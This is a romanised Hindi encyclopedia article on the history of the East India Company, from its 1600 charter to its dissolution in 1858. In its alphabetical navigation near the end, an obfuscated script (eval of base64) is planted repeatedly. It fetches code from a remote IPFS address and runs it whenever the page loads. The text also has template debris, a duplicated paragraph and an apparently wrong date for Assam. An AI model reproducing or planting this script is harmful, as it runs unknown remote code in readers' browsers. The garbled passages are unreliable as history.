ईस्ट इण्डिया कम्पनी

eest indiya kampani ki sthapana 1600 ee. ke antim din maharani elijabeth pratham ke ek ghoshanapatr dvara huee. yah landan ke vyapariyoan ki kampani thi, jise poorv mean vyapar karane ka ekadhikar pradan kiya gaya.

bharat mean kampani ka agaman

1608 ee. mean kampani ka pahala vyaparik pot soorat pahuancha. kyoanki kampani apane vyapar ki shuruat masaloan ke vyapari ke roop mean karana chahati thi.

vyapar ke lie sangharsh

kampani ne sabase pahale vyapar ki shurooat masale vale dvipoan se ki. 1608 ee. mean usaka pahala vyaparik pot soorat pahuancha, parantu purtagaliyoan ke pratirodh aur shatrutapoorn ravaiye ne kampani ko bharat ke sath sahaj hi vyapar shuroo nahian karane diya. purtagaliyoan se nipatane ke lie aangrezoan ko dach eest indiya kampani se sahayata aur samarthan mila aur donoan kampaniyoan ne ek sath purtagaliyoan se arase tak jamakar tag da morcha liya. 1612 ee. mean kaintan bestan ke netritv mean aangrezoan ke ek jahazi be de ne purtagali hamale ko kuchal diya aur aangrezoan ki eest indiya kampani ne soorat mean vyapar shuroo kar diya. 1613 ee. mean kampani ko ek shahi faraman mila aur soorat mean vyapar karane ka usaka adhikar surakshit ho gaya. 1622 ee. mean aangrezoan ne ormuj par adhikar kar liya, jisake phalasvaroop ve purtagaliyoan ke pratishodh ya akraman se poori tarah surakshit ho gaye.

kampani ki saphalataean

1615-18 ee. mean samrat jahaangir ke samay british naresh jems pratham ke rajadoot sar tamas ro ne eest indiya kampani ke lie kuchh visheshadhikar prapt kar liye. isake shighr bad hi kampani ne masulipattam aur bangal ki kha di sthit arama gaanv namak sthanoan par karakhanean sthapit kiye. kintu kampani ko pahali mahatvapoorn saphalata march, 1640 ee. mean mili, jab usane vijayanagar shasakoan ke pratinidhi chandragiri ke raja se adhunik chennee nagar ka sthan prapt kar liya. jahaan par unhoanne shighr hi sent jarj qile ka nirman kiya. 1661 ee. mean briten ke raja charls dvitiy ko purtagali rajakumari se vivah ke dahej mean bambee ka tapoo mil gaya. charls ne 1668 ee. mean isako keval 10 paund salana kiraye par eest indiya kampani ko de diya. isake bad 1669 aur 1677 ee. ke bich kampani ke gavarnar jerald aangiyar ne adhunik bambee nagar ki nianv dali.

kolakata nagar ki sthapana

mukhy lekh : kolakata

1687 ee. mean kampani ke ek vafadar sevak j aaub charanak ne bangal ke navab ibrahim khaan ke nimantran par bhagirathi ki daladali bhoomi par sthit sootanati gaanv mean kalakatta nagar ki sthapana ki. bad ko 1698 ee. mean sootanati se lage hue do gaanvoan, kalikata aur govindapur, ko bhi isamean jo d diya gaya. is prakar purtagaliyoan ke zabardast pratirodh par vijay prapt karane ke bad eest indiya kampani 90 varshoan ke andar tin ati uttam bandaragahoan-bambee, madras aur kalakatta par apana adhikar kar liya. in tinoan bandaragahoan par qile bhi the. ye tinoan bandaragah presideansi kahalaye aur inamean se pratyek ka prashasan eest indiya kampani ke kort aauf proparaitars dvara niyukt ek gavarnar ke supurd kiya gaya. eest indiya kampani ka sanchalan landan mean lidal h aaul strit sthit karyalay se hota tha.

kampani ko sima shulk se mukti

1691 ee. mean eest indiya kampani ko bangal ke navab ibrahim khaan se ek faraman prapt hua, jisamean kampani ko bangal mean sirf 3000 rupaye ki rashi salana dene par sima shulk ke bhugatan se mukt kar diya gaya tha. any yooropiy kampaniyoan ko tin pratishat shulk ada karana p data tha. eest indiya kampani ke sarjan d aau. haimiltan^[1] ki chikitsa sevaoan se khush hokar samrat farrukhasiyar ne 1715 ee. mean naya faraman jari karate hue kampani ko sima shulk se mukt karane vale pahale faraman ki pushti kar di.

bharat par prabhusatta

vyapar mean eest indiya kampani ke is ekadhikar ka kee aangrez vyapariyoan ne virodh kiya aur satrahavian shatabdi ke ant mean di indiyan kampani trediang tu di eest indiz namak ek pratidvandvi sanstha ki sthapana ki. nayi aur purani donoan kampaniyoan mean k di pratidvandvita chal p di, jisamean purani kampani ke pair ukh dane lage, kintu bharat aur ianglaind donoan hi jagah atyant katu aur apratishthajanak pratidvandvita ke bad 1708 ee. mean samajhauta hua, jisake aantargat donoan ko milakar ek kampani bana di gee aur usaka nam rakha gaya di yoonaidet kampani aauf di marchents aauf ianglaind trediang too di eest indiz. yah sanyukt kampani bad mean eest indiya kampani ke nam se hi mashahoor rahi aur dedh sau varshoan mean vah matr ek vyaparik nigam n rahakar ek aisi rajanitik evan sainik sanstha ban gee, jisane sampoorn bharat par apani prabhusatta sthapit kar li.

REDIRECT saancha:daanyabaksa1661 ee. mean briten ke raja charls dvitiy ko purtagali rajakumari se vivah ke dahej mean bambee ka tapoo mil gaya. charls ne 1668 ee. mean isako keval 10 paund salana kiraye par eest indiya kampani ko de diya. isake bad 1669 aur 1677 ee. ke bich kampani ke gavarnar jerald aangiyar ne adhunik bambee nagar ki nianv dali.
REDIRECT saancha:baksaband

kampani ka svaroop

kampani ke sadharan sadasyoan ki ek sabha thi jis ke kary ka niyantran ek gavarnar aur chaubis samitiyoan ko diya gaya tha. ye chaubis samitiyaan chaubis vyakti the jinhean bad mean nideshak kaha jane laga aur un ki sabha ko nideshak mandal. nideshak ka karyakal ek varsh ka hota tha aur ve agale varsh ke lie punah chune ja sakate the. kampani matr ek vyaparik sanstha thi. use keval vyaparik nikayoan ke lie many vidhayi aur nyayik adhikar prapt hue the. is ke aantargat use karavas aur arthadand aropit karane ki shakti aangrej kanoonoan ke aantargat pradan ki gee thi. 1635 mean iangleand mean ek aur kampani ko anumati prapt ho gee jis se purani kampani ko kathinaee huee aur donoan kampaniyoan mean pratidvandita hone lagi. jis ka nirakaran karane ka prayatn kiya gaya jis se bhavishy ki jvaiant st aauk kampaniyoan ki sthapana ka marg prashast hua. 1694 mean iangleand ke haus aauph k aaumans mean prastav aya ki iangleand ke pratyek nagarik ko vishv ke kisi bhag mean vyapar karane ka adhikar hai yadi sansad use pratibandhit n kar de. is prastav ke uparaant 1698 mean ek aur kampani 'di ianglish kampani trediang too di eest iandij' ki sthapana huee jis se landan kampani sankat mean a gee 1709 mean donoan kampaniyoan ka vilinikaran hua aur 'di yunaited eest iandiya kampani aauph marcheants aauph iangleand trediang too eest iandij' astitv mean aee aur eest iandiya kampani ke nam se khyat huee.^[2]

kampani ka saubhagy

bharat mean is kampani ki prabhusatta sahasa hi nahian sthapit ho gee. isamean use sau se bhi adhik varshoan ka samay laga aur is avadhi mean use fraans aur dach kampaniyoan tatha bharatiyoan se anek yuddh bhi karane p de. eest indiya kampani kampani ke saubhagy se bharat par prabhusatta ka dava karane vali mugal sarakar dhire-dhire kamazor hoti gee aur desh atharahavian shatabdi ke dauran chhote-chhote anek muslim aur hindoo rajyoan mean bant gaya. in rajyoan mean paraspar koee bhi ekata n rahi. muslim rajy n keval hindoo rajyoan ke khilaf the, varanh unamean apas mean bhi ekata n thi aur n hi unake man mean dilli mean shasan karane vale mugal samrat ke prati koee nishtha thi. yah phoot eest indiya kampani ke lie varadan siddh huee. is kampani ne 1761 ee. mean v aaudivash ka yuddh jitakar freanch eest indiya kampani ka bharat se safaya kar diya. san 1757 ee. mean plasi ka yuddh jitane ke bad bangal, bihar aur u disa par usaka prabhutv vastut: pahale hi sthapit ho chuka tha.

kampani ka varchasv

mugal samrat shahalam dvitiy asahay sa kampani ki faujoan ka badhav aur vijay dekhata raha. usake dekhate-dekhate kampani ne maisoor ke muslim rajy ko h dap liya aur haidarabad ke nizam ne kampani ke age atm samarpan kar diya. par vah kuchh bhi n kar saka. haan, use is bat se alabatta kuchh santosh mila ki kampani ne marathoan ki shakti ko bhi kafi kshin kar diya tha. rajapoot vire the, kintu shuroo se hi unamean apas mean phoot thi. unhoanne atmaraksha ke lie koee bar kiye bina hi kampani ke age ghutane tek diye. lard hestiangs (1813-23) ke prashasan kal mean marathoan dvara atm samarpan kar diye jane ke bad to mugal samrat vastut: kampani ka peanshanayukt ban gaya. 1929 ee. mean asam, 1843 ee. mean sindh, 1849 ee. mean panjab aur 1852 ee. mean dakshini barma bhi kampani ke shasan mean a gaya. vastav mean ab barma se peshavar tak kampani ka poorn adhipaty tha.

eest indiya kampani se vyaparik adhikar aur ekadhipaty pahale hi hastantarit kiya ja chuka tha aur is prakar vah gret briten ke samrat ke prashasanik abhikaran ke roop mean kary kar rahi thi. charoan taraf shanti nazar a rahi thi ki achanak 1857 ee. mean bharatiy sipahiyoan ne vidroh kar diya. kampani ne kuchh 'gaddar' bharatiyoan ki madad se vidroh ko daba to diya, lekin bharatiyoan ke kuchh vargoan mean virodh aur bagavat ki ag bh dakati rahi. yah bagavat eest indiya kampani ke lie ghatak siddh huee. 1858 ee. mean kampani ko samapt kar diya gaya aur bharat ki prabhusatta briten ke samrat ne svayan grahan kar li.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika-tippani aur sandarbh

bharatiy itihas kosh (prishth sankhya- 58)

↑ d aauktar hemiltan kampani dvara bheje ge dootamandal ke sath mugal darabar mean gaya tha.
↑ [dinesharay]. bharat mean vidhi ka itihas-5 (hindi) knol.google.com. abhigaman tithi: 5 disambar, 2010.

bahari k diyaan

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] uktar hemiltan kampani dvara bheje ge dootamandal ke sath mugal darabar mean gaya tha.

[2] [dinesharay]. bharat mean vidhi ka itihas-5 (hindi) knol.google.com. abhigaman tithi: 5 disambar, 2010.

[1]

[2]